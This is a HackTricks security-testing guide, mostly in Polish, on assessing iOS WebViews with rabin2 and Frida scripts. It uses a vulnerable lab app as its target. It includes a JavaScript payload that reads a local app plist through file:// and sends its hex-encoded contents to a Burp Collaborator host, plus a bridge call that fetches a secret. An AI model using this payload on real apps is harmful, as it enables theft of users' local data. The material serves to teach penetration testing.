iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews są wykorzystywane w aplikacjach do interaktywnego wyświetlania treści internetowych. Różne typy WebViews oferują różne funkcjonalności i cechy bezpieczeństwa dla aplikacji iOS. Oto krótki przegląd:

  • UIWebView, który nie jest już zalecany od iOS 12 z powodu braku wsparcia dla wyłączania JavaScript, co czyni go podatnym na wstrzykiwanie skryptów i ataki Cross-Site Scripting (XSS).

  • WKWebView jest preferowaną opcją do włączania treści internetowych w aplikacjach, oferującą lepszą kontrolę nad treścią i funkcjami bezpieczeństwa. JavaScript jest domyślnie włączony, ale można go wyłączyć, jeśli zajdzie taka potrzeba. Obsługuje również funkcje zapobiegające automatycznemu otwieraniu okien przez JavaScript i zapewnia, że wszystkie treści są ładowane w sposób bezpieczny. Dodatkowo architektura WKWebView minimalizuje ryzyko uszkodzenia pamięci wpływającego na główny proces aplikacji.

  • SFSafariViewController oferuje ustandaryzowane doświadczenie przeglądania internetu w aplikacjach, rozpoznawalne dzięki specyficznemu układowi, w tym polu adresowym tylko do odczytu, przyciskom udostępniania i nawigacji oraz bezpośredniemu linkowi do otwierania treści w Safari. W przeciwieństwie do WKWebView, JavaScript nie może być wyłączony w SFSafariViewController, który również dzieli pliki cookie i dane z Safari, zachowując prywatność użytkownika przed aplikacją. Musi być wyświetlany w sposób wyraźny zgodnie z wytycznymi App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

W procesie badania konfiguracji WebViews skupiamy się na dwóch głównych typach: UIWebView i WKWebView. Aby zidentyfikować te WebViews w binarnym pliku, wykorzystuje się polecenia, które wyszukują konkretne odniesienia do klas i metody inicjalizacji.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

To polecenie pomaga w lokalizowaniu instancji UIWebView poprzez wyszukiwanie ciągów tekstowych związanych z nim w binarnym.

  • Identyfikacja WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Podobnie, dla WKWebView, to polecenie przeszukuje binarny plik w poszukiwaniu ciągów tekstowych wskazujących na jego użycie.

Ponadto, aby znaleźć, jak WKWebView jest inicjowany, wykonuje się następujące polecenie, celując w sygnaturę metody związaną z jego inicjalizacją:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Weryfikacja konfiguracji JavaScript

Dla WKWebView podkreśla się, że wyłączenie JavaScriptu jest najlepszą praktyką, chyba że jest to wymagane. Przeszukuje się skompilowany plik binarny, aby potwierdzić, że właściwość javaScriptEnabled jest ustawiona na false, co zapewnia, że JavaScript jest wyłączony:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Tylko Weryfikacja Zawartości Bezpieczeństwa

WKWebView oferuje możliwość identyfikacji problemów z mieszanym contentem, w przeciwieństwie do UIWebView. Jest to sprawdzane za pomocą właściwości hasOnlySecureContent, aby upewnić się, że wszystkie zasoby strony są ładowane przez bezpieczne połączenia. Wyszukiwanie w skompilowanym binarnym pliku jest przeprowadzane w następujący sposób:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Wnioski z analizy dynamicznej

Analiza dynamiczna polega na inspekcji sterty w poszukiwaniu instancji WebView i ich właściwości. W tym celu używany jest skrypt o nazwie webviews_inspector.js, który celuje w instancje UIWebView, WKWebView i SFSafariViewController. Rejestruje on informacje o znalezionych instancjach, w tym adresy URL oraz ustawienia związane z JavaScript i zabezpieczoną zawartością.

Inspekcję sterty można przeprowadzić za pomocą ObjC.choose(), aby zidentyfikować instancje WebView i sprawdzić właściwości javaScriptEnabled oraz hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Skrypt jest wykonywany za pomocą:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Kluczowe wyniki:

  • Instancje WebViews są skutecznie lokalizowane i badane.

  • Weryfikowane są ustawienia włączenia JavaScript i zabezpieczeń treści.

To podsumowanie obejmuje kluczowe kroki i polecenia związane z analizowaniem konfiguracji WebView za pomocą podejść statycznych i dynamicznych, koncentrując się na funkcjach zabezpieczeń, takich jak włączenie JavaScript i wykrywanie mieszanej treści.

Obsługa protokołów WebView

Obsługa treści w WebViews jest kluczowym aspektem, szczególnie w przypadku różnych protokołów, takich jak http(s)://, file:// i tel://. Te protokoły umożliwiają ładowanie zarówno zdalnych, jak i lokalnych treści w aplikacjach. Podkreśla się, że podczas ładowania lokalnych treści należy podjąć środki ostrożności, aby zapobiec wpływowi użytkowników na nazwę lub ścieżkę pliku oraz na edytowanie samej treści.

WebViews oferują różne metody ładowania treści. Dla UIWebView, obecnie przestarzałego, używane są metody takie jak loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView z kolei wykorzystuje loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: oraz loadRequest: do treści internetowych. Metody takie jak pathForResource:ofType:, URLForResource:withExtension: i init(contentsOf:encoding:) są zazwyczaj wykorzystywane do ładowania lokalnych plików. Metoda loadFileURL:allowingReadAccessToURL: jest szczególnie godna uwagi ze względu na swoją zdolność do ładowania konkretnego URL lub katalogu do WebView, co potencjalnie może ujawniać wrażliwe dane, jeśli określony jest katalog.

Aby znaleźć te metody w kodzie źródłowym lub skompilowanej binarnej, można użyć poleceń takich jak poniższe:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Jeśli chodzi o dostęp do plików, UIWebView pozwala na to uniwersalnie, podczas gdy WKWebView wprowadza ustawienia allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs do zarządzania dostępem z adresów URL plików, przy czym oba są domyślnie ustawione na false.

Przykład skryptu Frida jest podany, aby sprawdzić konfiguracje WKWebView dla ustawień bezpieczeństwa:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Na koniec, przykład ładunku JavaScript mającego na celu eksfiltrację lokalnych plików ilustruje potencjalne ryzyko bezpieczeństwa związane z niewłaściwie skonfigurowanymi WebView. Ten ładunek koduje zawartość plików w formacie szesnastkowym przed przesłaniem ich na serwer, podkreślając znaczenie rygorystycznych środków bezpieczeństwa w implementacjach WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Metody natywne udostępnione przez WebViews

Zrozumienie natywnych interfejsów WebView w iOS

Od iOS 7 Apple udostępniło API do komunikacji między JavaScript w WebView a natywnymi obiektami Swift lub Objective-C. Ta integracja jest głównie ułatwiana przez dwie metody:

  • JSContext: Funkcja JavaScript jest automatycznie tworzona, gdy blok Swift lub Objective-C jest powiązany z identyfikatorem w JSContext. Umożliwia to płynne połączenie i komunikację między JavaScript a kodem natywnym.

  • Protokół JSExport: Poprzez dziedziczenie protokołu JSExport, natywne właściwości, metody instancji i metody klasowe mogą być udostępniane JavaScript. Oznacza to, że wszelkie zmiany wprowadzone w środowisku JavaScript są odzwierciedlane w środowisku natywnym i odwrotnie. Jednak ważne jest, aby upewnić się, że wrażliwe dane nie są przypadkowo ujawniane za pomocą tej metody.

Uzyskiwanie dostępu do JSContext w Objective-C

W Objective-C JSContext dla UIWebView można uzyskać za pomocą następującej linii kodu:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Komunikacja z WKWebView

Dla WKWebView bezpośredni dostęp do JSContext nie jest dostępny. Zamiast tego, wykorzystywane jest przesyłanie wiadomości za pomocą funkcji postMessage, co umożliwia komunikację JavaScript z natywną aplikacją. Obsługiwacze tych wiadomości są ustawiane w następujący sposób, co umożliwia JavaScript interakcję z natywną aplikacją w sposób bezpieczny:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interakcja i Testowanie

JavaScript może interagować z warstwą natywną, definiując handler wiadomości skryptu. Umożliwia to operacje takie jak wywoływanie funkcji natywnych z strony internetowej:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Aby przechwycić i manipulować wynikiem wywołania funkcji natywnej, można nadpisać funkcję zwrotną w HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Strona natywna obsługuje wywołanie JavaScript, jak pokazano w klasie JavaScriptBridgeMessageHandler, gdzie wynik operacji, takich jak mnożenie liczb, jest przetwarzany i wysyłany z powrotem do JavaScript w celu wyświetlenia lub dalszej manipulacji:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial oparty na tym z https://blog.vuplex.com/debugging-webviews)

Aby skutecznie debugować treści internetowe w iOS webviews, wymagane jest specyficzne ustawienie z wykorzystaniem narzędzi dewelopera Safari, ponieważ wiadomości wysyłane do console.log() nie są wyświetlane w logach Xcode. Oto uproszczony przewodnik, podkreślający kluczowe kroki i wymagania:

  • Przygotowanie na urządzeniu iOS: Należy aktywować Web Inspector w Safari na swoim urządzeniu iOS. Można to zrobić, przechodząc do Ustawienia > Safari > Zaawansowane i włączając Web Inspector.

  • Przygotowanie na urządzeniu macOS: Na swoim komputerze deweloperskim macOS musisz włączyć narzędzia dewelopera w Safari. Uruchom Safari, przejdź do Safari > Preferencje > Zaawansowane i wybierz opcję Pokaż menu Rozwój.

  • Połączenie i debugowanie: Po podłączeniu urządzenia iOS do komputera macOS i uruchomieniu aplikacji, użyj Safari na swoim urządzeniu macOS, aby wybrać webview, które chcesz debugować. Przejdź do Rozwój w pasku menu Safari, najedź na nazwę swojego urządzenia iOS, aby zobaczyć listę instancji webview, a następnie wybierz instancję, którą chcesz zbadać. Otworzy się nowe okno Safari Web Inspector w tym celu.

Jednak pamiętaj o ograniczeniach:

  • Debugowanie tą metodą wymaga urządzenia macOS, ponieważ opiera się na Safari.

  • Tylko webviews w aplikacjach załadowanych na twoje urządzenie przez Xcode są kwalifikowane do debugowania. Webviews w aplikacjach zainstalowanych przez App Store lub Apple Configurator nie mogą być debugowane w ten sposób.

References

Support HackTricks

Last updated